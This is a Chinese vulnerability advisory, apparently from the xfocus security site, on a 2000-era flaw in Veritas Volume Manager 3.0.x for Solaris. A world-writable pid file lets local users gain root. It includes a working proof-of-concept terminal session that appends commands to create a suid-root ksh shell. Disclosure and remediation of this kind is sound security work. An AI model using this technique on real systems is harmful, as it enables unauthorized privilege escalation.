xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Veritas Volume Manager 3.0.x权限设置漏洞


发布时间:2000-05-16
更新时间:2000-05-16
严重程度:
威胁程度:本地管理员权限
错误类型:配置错误
利用方式:服务器模式

受影响系统
Veritas Volume Manager
详细描述
Veritas Volume Manager 3.0.x for Solaris的权限设置不当漏洞能让本地攻击者获得管理员权限。

测试代码
当 Veritas Volume Manger 3.0.x 安装为主引导时,Storage Administrator Server
的初始化脚本(/etc/rc2.d/S96vmsa-server) 没有首先指定 umask 就执行了. 当服务
器继续运行时,会建立 /var/opt/vmsa/logs/.server_pids 并许可权是继承了之前的
umask ,因为指针上并没有 umask,.server_pids 的文件许可权设置为 666.
一个启动,停止和查询 Storage Administrator Server 的脚本
(/opt/VRTSvmsa/bin/vmsa_server) 含有以下代码:

stop_server()
{
if [ -f $LOGDIR/.server_pids ];
then
echo "Stopping $CNAME Server"
/bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
rm -f $LOGDIR/.server_pids
else
echo "Unable to stop $CNAME Server"
fi
}


当这个函数执行时,将使用这个文件中的许可权 /var/opt/vmsa/logs/.server_pids.
当这个文件是任何人可写时一个并没有特权的用户可以加入任意命令到里面,如果执行
函数,这些命令会以 root 身份执行。这个 stop_server() 函数只会在特权用户手动
停止 Storage Administrator Server 时调用; 它不会在关闭系统时调用,无论如何,
如果 root 经常使用 vmsa_server 手动关闭的话,这系统会受影响。

论证:
# 贴上我们的小命令到那个任何人可写的文件

foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>

# 等待 root 手动停止这个服务

root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..

# 用一个没有特权的用户执行我们刚刚建立的 suid-root shell ...

foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#

解决方案
升级到3.1的测试版。

相关信息